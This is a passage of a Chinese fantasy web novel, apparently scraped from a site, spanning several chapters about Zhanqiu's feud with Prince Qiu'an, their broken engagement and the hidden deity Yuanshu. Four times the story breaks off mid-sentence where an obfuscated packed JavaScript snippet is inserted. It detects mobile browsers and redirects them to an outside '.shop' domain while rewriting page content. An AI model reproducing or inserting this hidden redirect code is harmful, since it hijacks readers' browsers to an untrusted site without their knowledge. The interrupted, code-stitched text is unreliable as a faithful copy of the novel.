任凭她如何唤,就是等不来一点儿回应。 “不会有事的,不会有事……我带你回去……”她小心翼翼地拉过灵衫的手臂搭在自己的肩上,另一只手覆在灵衫腰间,用力站起。 转身之际,却被一道挺拔的身影挡住了去路。 斩秋止步,缓缓抬眼望向来者,声音微微颤抖,却能听出话中杀意:“滚开。” 裘安的目光在她面颊还未干透的泪迹上停留片刻,神情虽褪去了笑意,却没升起任何的怜悯:“你不能带她走。” 斩秋目光变得狠戾,一字一顿重复道:“我让你滚!” 裘安将视线挪至她身后,面上一片风轻云淡:“阵已毁,阵中却未抓到人,我和你都没法和阿兄交代。况且,你就算把她带走,你也救不了她。” 说着收回视线,他话锋一转:“不过,有一个人可以救她。” 斩秋听罢渐渐冷静下来。九天之上的确有一人或许能救灵衫,那便是元离神尊。 只是她与元离神尊并不亲近,元离神尊不一定会帮她。再者,就算他真的救了灵衫,她也无法让其对此事闭口不谈。 但是裘安可以。 毕竟他是元离神尊最疼爱的徒弟。 “你想要什么?” 她知道裘安不会轻易帮她,否则也不会费心设下此局了。 “那日魔界遗光塔内,百里及春支开我真正的目的是什么?” 话音落下,斩秋面上却无多少惊讶之色。 与裘安预料的相反,她没有丝毫犹豫,直言道:“他要我替他在天宫寻一物件。” “何物?” “回元。”斩秋看着他的眼睛,镇定道。裘安亦看进她那一双漆黑的瞳里,好像在辨别她话中真假。 过了一会儿,他又问:“那百里及春开出的筹码又是什么?” 不待她开口回答,裘安复笑着添了一句:“别说是放回三千幽境将士。” “自然不是。”斩秋面无表情地回答,“不过那是我的私事,既与天宫利益无关,你便无需知晓罢。” 裘安听罢略一挑眉,倒是没再追问,继而从袖中掏出一张折好的字条递到她面前:“拿它去找师尊,师尊自会帮你。” 斩秋腾出手来迅速地接过收好,未再看他,径直离开了幽境。 是时邬霖现身走到裘安背后,垂首禀道:“殿下,人带来了。” 裘安应声回首,视线落在了邬霖身后奄奄一息的女子身上,只一眼便转回视线,看向面前那一滩血迹,轻描淡写地应了一声,冷冷道出三字:“拖过去。” - 亥时,岭遥台。 元离神尊看了裘安留的字条后,什么也没问便差人将灵衫带到了岭遥西侧的溪止殿亲自医治。 斩秋站在殿外,目光紧紧盯着眼前的那道门,视线未曾离开半刻。那扇门里,躺着的是她如今在这世上唯一牵挂之人。 血迹在她身上凝结,颜色变得愈发暗沉,一如她此时的面上的神情。 她早知道裘安对她有所怀疑,亦不在乎让他知晓百里及春所求何物。左右她查不清回元究竟是什么,亦不知它被安放于何处,不如就借裘安之力,螳螂捕蝉,黄雀在后。 毕竟裘安在天宫查起案来,定是比她要容易得多。 只不过她没想到裘安会以这样的方式来威胁她。是她掉以轻心,以为眼下的裘安还没到丧心病狂、不择手段的地步,却忘了如今除了他们二人的婚事依旧,其余的一切发展都与上一世的走向截然不同,他又怎会如从前一般将这温润郎君的形象演上几十年。 “灵衫……你可千万不能有事……”斩秋徐徐攥紧拳头,眼中揉满了内疚与悔恨,语气微哽。 不知过了多久,面前的门终于开了。只见元离神尊缓缓从中走出,脸上辨不出情绪。 斩秋快步上前,仓皇问:“神尊,她怎么样了?” 见她神色紧张,后者摆了摆手,安抚道:“放心,已无性命之忧。” 斩秋闻言松了口气,忙抬手作礼:“多谢神尊出手相救。” 元离轻轻颔首,引她至偏殿,坐下后目光在她身上停留了片刻,忽然朝她抬起手,指尖一挥,一道虚光从她的头顶洒下,下延至裙摆,将她面上与衣裙的污迹尽数化去。 斩秋愣了一下,随后垂眸瞧了眼衣裙,终于回过神来,复起身再次行礼:“多谢神尊。是我失仪了。” “无碍。”元离摆摆手,不以为意。 话落,二人都没再开口,屋内顿时变得安静下来。 斩秋虽想去看灵衫,但她能察觉到元离神尊有话要与她说。未得他发话,她也不好轻易离开。 少顷,身旁终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283012|151925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响起了他的声音。 “你与安儿相处得如何?” 元离帮灵衫诊治时便已从她的伤势中观出一二,此伤乃由逆生阵法所至,便是出自斩秋之手。不过斩秋自不会让她的人去闯此阵,其中定有一番缘由,且与他那个小徒儿裘安牵扯极深。 他无意过问此事细节,只对斩秋与自己徒儿的关系感到好奇。毕竟他二人的婚事已成定局,可眼下总觉得何处怪异,这才开口问道。 斩秋听的出他并无恶意,反倒有几分出自长辈的关怀,是以微微一笑,模凌两可地回答:“原先还算顺利,只是今日之后……” 她顿了顿,长睫覆下,掩去眸中寒光,作一声苦笑:“怕是有些艰难了。” 元离半知半解地眯起眼眸:“何故?” 见她不语,元离便收回了视线,未再追问。 未几,却听斩秋忽然开口:“若是有人伤了裘安,您会怎么做?” 元离明显愣了愣神,沉思片刻,看向她的眼神变得复杂。 斩秋此问算是回答了他先前的问题,裘安在他心中是何分量,灵衫在她心中便是何等重要。故而有人害之,必将反击。 见他似已无话要说,斩秋不再多留,起身作礼,道:“神尊若无其他的事,我想去看一看灵衫。” 正殿里头焚着沉香,气味有安神之效。 灵衫正躺在床上,阖着双目,此刻的她还未恢复意识,模样乖巧得像一个熟睡的稚童。 斩秋鲜少看见她这般毫无戒备的模样,神情逐渐变得柔软,悄悄在她身旁坐下。 待近了瞧,目光在她手腕处骤然停下。似乎有一道青色的细纹缠绕在腕间。 斩秋伸手轻轻撩起灵衫的衣袖,随着露出的肌肤一起浮现在眼前的,是一道足足一臂长的青纹。她捏着衣袖的手徐徐收紧,这种模样的印记她在上一世曾见过一次,乃毒所致,出自邬霖之手。 先前在幽境时她因灵衫受伤而慌神,没时间去想她是如何被引到阵眼中去的。如今理智回笼,一同复苏的还有心底的报复之意。 斩秋眸中一番明灭,继而起身退出大殿,踏入一片氤氲月色。 - 翌日,破晓时分,朝云宫内外弥漫着低沉的气息。 宫中仙侍聚集于主殿之上,各个跪倒在地、屏息垂首,浑身不自颤抖着,好似即将遭遇前所未有的劫难。 裘安立于大殿中央,脸色阴沉得快要滴出水来。是时身前一阵步声传来,只见一名男子躬身行礼,禀:“殿下!” “说。” “元离神尊眼下并不在岭遥台。” 裘安闻言凝眉阖目,压抑着声音问他:“师尊去哪了?” “属……属下不知。岭遥台的仙君说,今日没人见过元离神尊。”回禀之人心下一抖,如实答道。 裘安提声喝道:“都给我去找!” 底下众人纷纷应声起身,压低着脑袋倒退几步,不敢抬起眼来,生怕触及殿下盛怒。转身后,几乎是落荒而逃般地跑出了大殿。 他们从未见过殿下此番模样,出了朝云宫后仍心有余悸,不禁加快了步伐,四处奔走。 天宫内其他人瞧见皆觉古怪,有几位心生好奇的小仙意欲上前询问,却都教他们一脸慌张地逃走了。 几番下来,好不容易逮到一个嘴巴不严实的,从中打听出了缘由,原来他们如此着急是要去寻元离神尊救人。 再一细问,更是惊掉了下巴—— 二殿下身边如影随形的神兽邬霖,昨夜遭袭,生死未卜! 12. 第12章 斩秋安安静静地坐在溪止殿内,闭目养神,似乎在等着什么。 此时的殿中空无一人,唯有残留的余香绕鼻,使她眉眼舒展,思绪清明。 只听殿外传来一阵阵杂沓的步声,声音忽近忽远、忽急忽缓,偶尔还从门缝中飘进来些只言片语。她未听全乎,仅仅抓住了几个字眼——“二殿下”以及“元离神尊”。 这些声音来来回回地响起,总也不停歇。 若是平常听见这般吵杂的议论,早教斩秋心生厌烦。可如今这些落入她的耳中,却胜过乐仙佳曲。 约莫一个时辰过去,殿外的话声仍未消减。斩秋这才略显不耐,缓缓睁开眼睛,几欲起身。 可就在她起身的刹那,外面骤然静了下来,宛如一片死寂,落针可闻。 察觉到变化,斩秋欣然停下动作,稍挪视线觑了一眼旁边那扇门,只一眼便收了回来,拿起面前的茶盏轻呷一口,戏谑道:“二殿下怎来得这般迟?邬霖可是丑时受的伤,而眼下都已辰时了。” 话音甫落,耳侧掠过一道劲风,勾起几缕华发扫过脸颊,传来轻微痒意。 只见门被灵力震开,带进了几抹殿外的日光。裘安徐徐迈入殿内,影子倒映在地上的灵木砖上,每靠近一步,地上的黑影便削短一分。 他走到斩秋身前停下,轻垂眼睑,视线落在她略显玩味的脸上。听着她口中熟悉的话语,目光微暗,话声渗着危险的气息:“你这是承认,是你设陷于邬霖了。” 他昨日刚伤了灵衫,夜里邬霖便出了事,无需想也知晓是斩秋所为。 只是他委实没料到,她还有那个本事将师尊控制了去。原先只以为师尊是得闲于宫中游走,可他派人翻遍了天宫也未寻得师尊的踪迹,方才恍悟这也是她的手笔。 斩秋抬起头,一双眸直直地回看进他眼底:“是我。” 末了,又勾起唇,她笑道:“可是二殿下有证据吗?如今法阵已破,周围痕迹也被我抹去,二殿下证明不了他是被法阵所伤,如何算得到我头上?” 听罢,裘安的脸色难看到了极点:“师尊在哪?” “缥缈境。” 缥缈境是她的地盘,其间布满诡阵,非境中人不敢擅闯。哪怕修为再高,若不慎入了阵,只怕也要削了一层皮才能出来。 几乎是话落的瞬间,斩秋忽觉颈上传来一抹滚烫的触感。一股无形的力量扼在她的颈间,并未使多大的力道,却足以让她喉间收紧,形同束缚。 耳边落下他盛满威胁的声音:“你以为我不敢动你吗?” 斩秋知晓如今自己的修为倒退,与他正面对决只有不到七成胜算。但她却不显惧意,反而笑得更深了些。 “我若死了,届时你如何与陛下交代?你方才来的路上应是有不少人瞧见吧,莫非你要将这岭遥台所有人都灭口吗?” 殿内陷入了一片沉寂。 不一会儿,颈上的力道忽然散去,只见裘安挑眉,竟生出淡淡笑意。 他拉开一张椅子在斩秋对面坐下,慢条斯理地整理着衣袖,与方才动怒的模样判若两人。 “其实你与我之间不应该是敌对的关系。毕竟我们立场相同,一切都是为了天界的利益。” 斩秋对他突然转变的态度并不意外,她早就知道裘安的性子。能屈能伸、八面玲珑算是他不可多得的优点。 只是他说真话的频率与他变脸的速度不相上下。而他此刻的放低姿态也不过是在权衡利弊之后做出的的最优选择。 深知这一点的斩秋眉宇流露一丝鄙薄之意,缓声道:“二殿下这是在求和?” “我承认,昨日用灵衫威胁你说出与百里及春之间的交易是我冲动了,我原以为你与魔族勾结,但如今看来是我误会你了。不过你也伤了邬霖,这件事就此扯平,如何?” “二殿下误会我与魔族勾结,不仅重伤了灵衫,也伤了我的心啊。”斩秋垂眸作出一副受伤的神情,声音却无比坚定,“伤了灵衫一事,我已自取补偿。但我心受伤一事,也需要弥补。” “如何弥补?” “退婚。” 裘安显然对这个答案有些意外,抿唇沉思片刻,未置可否。 左右不过是取消一门他也不在意的婚事,于他而言并无任何损失。可是这门婚事终究是父神所赐,他若提出退婚,便是忤逆父神的旨意。 “如今邬霖伤势严重,最多再撑一个时辰,若再不得救治,怕是无力回天。”见裘安迟迟不答,斩秋不禁提醒道。 “一个时辰,且不说父皇是否应允,就算允了,邬霖也撑不到那个时候了。”裘安道。 “无需现在就去叨扰陛下。你先写下退婚书,待从缥缈境归来后,你我二人再一起到陛下面前禀明此事。” 裘安闻言抬眸迎上她的视线,眼中神色晦暗不明。 在他沉默的这片刻间,斩秋心底也闪过几瞬犹疑。 万一自己赌错了,邬霖在裘安心中并没这么重要该如何?毕竟他向来唯利是图,对身边之人毫无真心。 就在她以为裘安还会再谈条件时,却见他唇边倏而漾出一枚浅笑,应下了。 待他写完退婚书后,斩秋将其拿在手中仔仔细细检查了一遍,确认无误后方才卷起放入袖中。收好之后未再拖延,即刻动身带裘安与邬霖前往缥缈境。 缥缈境分为内、外两城,各掌攻、守之效。 斩秋将裘安、邬霖带至外城青书院,再将元离神尊请来此处。事出紧急,元离神尊来不及过问前因后果,忙将邬霖带入屋内诊治。 院中陈设不多,仅一方桌凳立于树下,无甚起眼,却十分舒适。 斩秋平静地坐在石桌旁,悠哉地饮起茶来,仿佛此时屋内并未进行着生死攸关之事,神态与先前在溪止殿外守着灵衫时大相径庭。 屋内躺着的并非她的人,理应如此。该为其感到担忧的是裘安。 可当她扭头欲观后者急态时,入目的却是他侧首看着自己,风轻云淡的模样。 “你是如何哄骗师尊将他带来缥缈境的?”他幽幽开口,语气颇为闲适。仿佛眼下屋内躺着等待救治之人与他毫不相干,他只是来这儿打发时间的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283013|151925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>斩秋微微蹙眉:“你此刻关心的竟是这个?” 裘安听罢笑而不语,视线却始终落在她的脸上。斩秋却被他盯地心生厌烦,别开脸去:“你写给元离神尊的字。” 她并未将字条原封不动地交给元离,而是在途中拆阅,纸上仅有短短两行,字迹刚劲有力,写道:“望师尊莫问缘由,应斩秋所求救治伤女。” 当下便施术隐去最后四字,防患未然。 裘安被她这句没头没尾的话说得一愣。少顷,明白其中缘由,回过神来恍然失笑。 奇怪的是,他眼下的笑与往常不同,不掺杂色,反倒像是发自真心。 斩秋见状怔了怔,不明所以,起身便欲离开。走到廊下,听裘安唤:“斩秋。” 她定身回首,只见裘安敛起笑意,突然变得满目正经。以为他还有话要说,不由站定等着。 他的眼神很静,沉静之下又似有暗涌,不过是几个瞬间,可在他眼中却像是闪过了无数种画面。 片顷,他垂眼收回视线,像是决意放弃什么一般,声音冷淡:“无事。” - 内城,沉宁殿。 殿外侍者见斩秋归来,随即提步相迎,垂首禀道:“殿下,灵衫醒了。” “当真?”斩秋闻言立生喜色,不禁加快了步伐,朝殿内踏去。 只见帷帐间那道素白的身影闻声而立,伸手欲拉帘帐。还未勾到帐延,掌上便传来一阵柔软。 斩秋轻轻握着灵衫的手,神情关切,又喜又忧:“你总算醒了,身体可觉得何处不适?” “殿下,是邬霖引我……”灵衫并不关心自己伤势,一开口便欲言明受袭一事。 话还未说完,便被前者打断:“我都知道了。” 她轻按住灵衫的手,眼底隐约闪过一分仇怨已了的快意:“你放心,他如今的情况不见得比你好。” 灵衫听闻满目不解,又生出几分在她身上少有的惶恐:“殿下这是何意?” 斩秋将昨夜的经过原原本本地告知与她,恐她担忧,特意夸大了自己如何巧妙地在朝云宫内设伏,唯独隐去了引邬霖入阵时险些惊动天帝的险状。 尽管如此,灵衫听罢仍未展眉,反倒愈皱愈紧,轻挣开她的手,扶拳垂首:“是我大意了,才给殿下招来祸端。” 听她这么说,斩秋眉心微颤,眼里俱是心疼。 受伤醒来不关心自己的身体,反而担心给她惹来麻烦,这算怎么一回事? 她当即站起背过身去,佯装怒意斥责道:“眼下连退婚书都已得手,何来祸端一说?你莫要胡思乱想,好好养伤才是。” 灵衫闻言视线一抬,眼中闪过光亮,嘴巴张了张似乎要说什么,转瞬却又覆下眼睫,遮去眸底忧色,未再言语。 半晌,斩秋见身后没了动静,悄悄挪了挪脑袋,意欲瞧她的表情,孰料这时门外传来侍者通禀—— “殿下,境外有客求见。” 斩秋听罢略显狐疑,回首与灵衫交换了个眼色。 如今裘安邬霖等人皆在境中,还有哪儿来的客? 13. 第13章 绕过青书院,从东边穿行,来到外城城墙之下。城门虽敞开着,可门前若隐若现的结界未破,其无甚颜色,仅是泛着淡淡的粼光。 站在结界外的那人穿着斗篷,帽沿压得很低,加之他本就低垂着头,让人瞧不清他的面容。 “你是何人?抬起头来。” 斩秋站在离城门不远的位置,居高临下,看着来者在她的话声中缓缓抬手,摘掉遮挡于额前的黑帽,一点点抬起头来。 午间的日光从一侧打下,落在他棱角分明的脸上,将另一半边脸埋入阴影之中。他的眼神锋利,如出鞘的宝剑透着锋芒,动了动唇,无声道出二字。 “尊上。” 言下之意,是“尊上”派他来此。 而他口中的尊上,正是百里及春。 斩秋倏然色变,猛一挥手将面前清色的结界染为浓墨,出声对外城值守之人喝道:“都转过身去。” 说完身后便响起一道整齐之声,是衣物相磨而出。 这才孤身走进结界,身影融化于一片颜色之中。待走近后,她仔细观察眼前男子的相貌,记忆随之翻涌而来,来者正是魔族将领赤龙。 斩秋蹙起眉,问:“他怎么知道我在这?” 说完不待后者回答,脑海中飞快闪过什么,豁然开朗,自顾自地笑了:“看来天宫之中果然暗伏魔族内应,还监视上我了。” 赤龙闻言挑眉,丝毫不掩眼底得意之色:“我奉尊上之命,前来送一个人。” 他侧了侧身,露出了原本藏在他身后的人。 那人双手被束伏在地上,头发凌乱,面色微白。瞧见眼前的白靴不断靠近,才慢慢提起视线朝上望去,撞进了斩秋那双满是狐疑的眼里。 她瞧此人眼熟,不禁又往前迈了一步,稍稍弯腰观察起他的面容。思忖半晌,终于在魔界短暂停留的记忆中找到了一丝痕迹。 此人不正是裘安那日在魔界找出的仙人么。百里及春果然守诺没有杀他,可是将他带来缥缈境做什么? 她略微眯眸,不解地看向赤龙。 “传尊上的话。”赤龙在她一脸怀疑的表情中清了清嗓子,学着百里及春的口吻,道,“你让本座不要杀他,本座允了。可近日思来想去,总觉此人不该继续留在魔界,便将他带来了。” 斩秋心底滋生不详之感:“这是何意?” “尊上的意思是,此人的命是何人留下的,便应该由何人看管。”赤龙答道。 看管?这是要将此人留在缥缈境,还是带回九重天?无论前者还是后者,皆十分不妥。 此人既是天帝安插于魔界的棋子,天帝自是知晓他的身份。而百里及春以挟持幽境三千天兵为筹码,令裘安亲自找出了此人,却未杀他,于众人眼里已是蹊跷。 如今还将他全须全尾地送回,岂不教人怀疑他的忠心。而斩秋也是那日魔界一事的亲历者,让她把此人带在身边,她又该如何自处? 想到这里,斩秋面容逐渐僵硬。 显然她并不想接这个烫手山芋。 看出她的心思,赤龙一副早已料到的模样,唇边划过一抹森然笑意,对她的称谓也忽然尊敬起来:“尊上吩咐过属下,若发觉您对此事不喜,属下便可将他就地斩决,替神君您解忧一二。” 说着抬手聚起一团幽火于掌心,徐徐朝男子喉间压去。眼看着那团幽火即将贴上男子的肌肤,斩秋忙出声阻道:“慢着!” 纵然觉得此事蹊跷,可她也不想亲手断送一条性命:“代我谢过你家尊上。” 说完便走上前,欲带男子离开,但见地上的影子仍立于原地,不禁眼一抬睨着赤龙:“你家尊上还说了什么,不妨一次道来。” “尊上说,不必言谢。这本就是场交易,只要您别忘了您还欠他一个条件便好。”赤龙笑嘻嘻地说着,朝她轻轻垂首,语气散漫,“人、话皆已带到,告辞。” 最后一字方才落下便见其化身一缕薄烟,很快地消失在她的面前。 斩秋从赤龙离去的方向收回视线,看向脚下的男子,露出一抹难色。 不能带他回天宫,便只能带回缥缈境。可如今裘安也在缥缈境中,若叫他二人碰上面,定是少不了一通口舌,说不准还会被他当作把柄。 她好不容易才拿到退婚书,在退婚一事敲定之前,还是谨慎些,少生事端为好。 不禁轻叹一息,她蹲下身去为他解开双手的束缚:“你能站起来吗?” 他未言语,只是摇摇晃晃地站了起来。膝下原本被压在地面的长袍也随着起身的动作被带了出来,膝盖的位置尽是血迹。 斩秋匆匆扫了一眼,并没问他什么,只是抬手从袖间取出一条赤色绸带系于他双目,刻意放缓了脚步,擒着他的手臂朝入城反方向行去:“你随我来。” 缥缈境中有一条密道,可直通内城。她带其从密道而入,本欲往沉宁殿去,忽然想起了什么,脚下一滞,转了个方向,入了最南边的沉无殿。 此处偏僻静谧,也无人侍奉左右,可谓藏人的绝佳之地。 她将人带进前殿,环顾四周还算整洁的摆设,满意地点了点头,取下男子眼前遮挡视线的绸带。 “你且暂住此处,我会遣几个信得过之人前来照料。待我想好应对之策以前,不要让旁人发现你。” 男子没吭声。 斩秋一时无言,不知他是否将她的嘱咐听了进去,静默伫立了良久。 随后她试探地问了句:“你叫什么?” 其实她已经做好听不到回答的准备。毕竟从见到他开始,就没听他开口说过一句话。 不料这回他居然给出了回应。 他的声音低沉,犹如千年的古钟,沉寂沧桑:“元疏。” 斩秋有些惊讶地扬了扬眉,以只有自己能听见的声音轻笑道:“原来不是个哑巴啊。” 再度看向他时,她的目光柔和了些许:“好,元疏,那你在此好生……” “休养”二字还未道出,斩秋话语一顿,眼中蓦地闪过一瞬诧异。 初闻元疏这个名字时她不以为意,可当她亲口唤出这两个字时,方才恍悟此名何等熟悉。 从前的岭遥台和时下不同,并非元离神尊一人执掌,而是有两位主人。一位是元离神尊,另一位则是与他亲如手足的师弟,名唤元疏。 传闻他的疗愈之术远在元离之上,但他不喜成日守在丹炉旁边,反倒更爱修习剑术,是以众仙常能在青云峰寻得他的身影。 斩秋先前在魔界见他时,莫名觉得熟悉,却忆不起。如今想来终是明了,曾经父神带她去青云峰习武场时,与他匆匆见过一面。 可就在不久后,他忽然消失在了三界,了无踪迹。渐渐地,世人也不再提起这个名字,仿佛他从未存在过一般。 神思游走片刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283014|151925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,斩秋小声问道:“可是岭遥台的元疏?” 后者不答,眼底却在“岭遥台”三字落下时泛起微波。 斩秋见状了然,目光流转,又停在他膝上:“那你腿上的伤是怎么回事?” 既在疗愈上有通天的本领,怎会被困于区区皮肉之苦?除非…… “你不想治?” “我本是弃子,治与不治有何区别。”元疏覆下眼睫,唇边淡开一抹自嘲的笑意,“其实你不必将我从百里及春手中保下,不管你许诺了他什么,用在我身上都是浪费了。” 诚然,与百里及春做交易,代价定是比寻常更大。她还不知道百里及春的条件是什么就将人留下,确实有些冲动鲁莽。 可看着眼前元疏这般消沉的模样,她并不后悔,只觉心生愤慨。 “没有人该是弃子。”斩秋神情肃穆地说道。 后者闻声掀起眼皮朝她看去,疲惫的面容再次展露了轻微的笑意,似是欣慰,又似悲哀地说着:“小神君年纪尚浅,自是不知何为认命。” “认命”二字着实刺耳,听得斩秋皱起了眉。 上一世她就是愚蠢地认了命,才会落得魂散陨神坛的下场。如今从头来过,她最不需要被告诫的就是认命。 斩秋静静地望着他:“元疏神尊,我虽不知你为何变成如今这副模样,但你现在的样子我很熟悉。你知道失望、悲愤除了人心死,还能如何吗?” 她道:“它还能让你升起反击的念头,我不相信你没有。倘若你真的不在乎这条命,为何活到了现在?” 尖锐一问将他眼底激起层层浪花,但他很快便压了下去,扭头看向一旁。 见他此番模样,斩秋轻叹一息,不欲再与其争辩,转身而去。 走到门边,她顿时想起什么,回首问他:“对了,这几日百里及春将你关押在何处?” 元疏闻言默了片刻,淡然答道:“遗光塔。” 斩秋眸中泛起涟漪,忙追问道。 “那你可曾在塔中见过一个人?” 元疏有些迷茫地将她一望:“什么人?” 见他如此反应,斩秋眼底的希翼逐渐褪去,轻摇了摇首,复嘱咐道:“没什么,你好生修养。” - 出了沉无殿,她没去寻灵衫,而是先去了青书院。踏入院中时,正逢裘安从屋内迈出,见她来,缓缓停下了脚步,驻于门外。 二人隔着几丈的距离,他看着她,没有说话,眼神却像在问她为何折返回来。 自灵衫邬霖一事以后,斩秋与裘安之间算是彻底撕破了脸面,裘安终于不再装出一副温情的模样。 斩秋没往前走,淡然问道:“你何时与我回天宫,向陛下禀明你我二人之事?” 话中所指乃是退婚一事。 裘安不以为意地耸耸肩:“这般着急做什么,邬霖还未醒呢。” “有元离神尊在,他死不了,迟早会醒。” “你既也说了他迟早会醒,何故不再多等一会儿?” 话落,斩秋蹙起眉,提防之意尽显于面。 裘安忽然笑了,一副恍然大悟的模样,语调调侃:“你莫不是怕我反悔吧?” 说着走下屋前的台阶,一步一步朝她走去,他犹在笑着,可话声里早已没了笑意,只余下无尽寒意。 “你放心,凡事我应下之事,断没有反悔的道理。” 14. 第14章 听他这么说,斩秋心下冷笑一声,未作应答。 正在这时,殿门从里面打开,元离的声音沉沉传了出来:“安儿,进来罢。” 裘安闻声不再看她,转身朝殿内步去。 斩秋随即跟上,却见裘安在屋前停了下来,如一堵墙般挡在她的身前。 “怎么,我进不得?” 在自己的地盘上被外人阻拦,于斩秋而言还是头一遭。不由得眯起眸来,几分薄怒,几分稀奇地看向裘安。 后者见状唇角微扬,笑道:“哪里。请。” 斩秋这才收回视线,不紧不慢地迈了进去。见到背身在盥洗旁净手的元离,颔首唤了声:“元离神尊。” 后者缓缓擦拭着双手,头也没回一下,只是轻轻“嗯”了一声以示回应,对她的态度与昨日相比明显冷漠了许多。 毕竟昨日的他还不知道斩秋即将对自己的好徒儿做些什么。如今知晓,亦亲眼目睹了,就连自己也被算计在其中,焉能有好脸色? 是以斩秋并不惊讶。她毫不在意地走到床边,居高临下地瞰了一眼躺在床上的邬霖,神情不辨喜怒。 裘安亦走到床边,目光却片刻都未在邬霖身上停留,只是象征性地问了一句:“师尊,他如何了?” 元离转过身来:“邬霖的伤势虽重,但好在及时保住了本元,已无性命之忧。约莫再过几个时辰便能醒来。” 说完他的视线忽然转到斩秋身上,踌躇了片刻,终是移步向前,走到她身边:“殿下可否借一步说话?” 斩秋原以为经此一遭,元离神尊怕是在将来很长一段时间内都不会搭理她了。故而忍不住抬眼观察起他的神色,发现他并无敌意之后才朝其伸手,微笑回道:“神尊请。” 二人走到偏院,斩秋停下脚步朝正院的方向看了一眼,心中好奇元离特意避开裘安是为了与她说些什么。继而转回头来,大大方方地望着元离,等他开口。 半晌过去,仍未见他有开口的迹象,斩秋不禁感到奇怪,心想究竟是何事这般难以启齿? “不知神尊唤我所谓何事?您直言无妨。” “殿下与安儿……”元离长眉微折,面露为难之色,抿唇半晌方才续道,“本来你们晚辈之间的事,老身也不欲过多打探。可经此一事……” “老身只有一问,殿下与安儿之间的恩怨到这儿可算已了了?” 斩秋听完明白过来,神尊这是在为自己的徒儿试探,想知道她的怨念是否还会进一步发展。 “神尊口中的恩怨若是指二殿下算计重伤我的人……”她点点头,口吻客气平缓,“这一事,的确已了。” 至于旁的事,那还要看他如何做了。 听出她的弦外之音,元离轻叹了口气。 终归是他们二人的事,他也无权插手。只是裘安的性子他明白,哪是能那么轻易认输低头的?除非对方先撒手,否则只怕他宁愿做到两败俱伤也绝不会让对方称心如意。 如今之事看似是前几日种下的果,但安儿未必吃这个教训。如此冤冤相报,何以善终? 若斩秋是个肯退让的便也罢了,可偏偏她同样也是个不服输的主。 思及此,元离复叹一声,以长辈的身份语重心长道:“你们二人到底有婚约在身,莫要成为一对怨偶哪。” 看来裘安还未曾告诉他退婚一事。斩秋心道如此也没什么不好,在事情尘埃落定之前,她也不欲大肆宣扬,免得多生事端。 沉默间她忽然想起什么,眸光闪动:“神尊,晚辈也有一事想要向您请教。” “哦?何事?” “神尊先前有一位师弟,名唤元疏。据说当年陛下本欲让他为二殿下师,可为何二殿下最终未拜在他的门下,而是神尊您呢?” “元疏”这个名字已许久未被人提起,忽而听及,元离身形一顿,难掩眸中惊讶:“殿下怎会突然提起他?” “其实也没什么,只是我与二殿下的婚事定得匆忙,在此之前我们并不相识,于是我便遣人将二殿下的事迹打探了一番。偶然得知二殿下从前与元疏神尊也颇有些渊源,心生好奇罢了。” 她此番回答并无不妥,元离听罢只当她是好奇使然,欲打探自己未来夫婿的往事:“不错,安儿原先的确是要拜在阿疏门下的。只不过……” 他话语稍顿,目光投向远处,思绪悠远:“你既打听过安儿的经历,想必也知晓当年安儿与桦妃居于昌芜郊罢。” 斩秋点点头。 桦妃是裘安的生母,她乃麒麟族的公主,出身尊贵、又一身傲骨。定情于天帝时并不知晓天帝的身份,更不知他已有妻室,奈何得知真相时已怀了天帝的骨肉。 她不愿嫁与天帝,却独自诞下了裘安,与其长居昌芜郊。直到一千年前,灵渊公主逝世,天帝这才派兵将裘安接回天宫团聚。 故而哪怕灵渊公主与天帝未曾成婚,但她毕竟是天宫二殿下的生母,天宫之上众人都唤其桦妃。 “但有一件事,想必你未曾听闻。当年陛下遣兵接安儿回天宫时出了意外,安儿在途径域山时遭到丰鳍族围击,与天兵走散,又在妖界辗转两百余年,方才回到陛下身边。而那时,阿疏已然不见踪迹。” “原来如此。”斩秋闻言轻展眉宇,心中松了口气。 裘安从前在天宫没见过元疏便好。如此哪怕他日后再见到元疏,也只会认为他是当日在魔界找到的仙人罢了。 元离说着心绪又飘到初见裘安时他惶恐又警惕的模样,不由折起眉来长叹一息。 “安儿这一路走来并不顺遂,故而养成了如今这般敏感多疑的性子,但他是个好孩子。” 话落他再度看向斩秋,眸间尽显真诚慈善:“老身虽与殿下并不相熟,却也从这几日之事中看出,殿下也是一个重情重义之人。倘若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 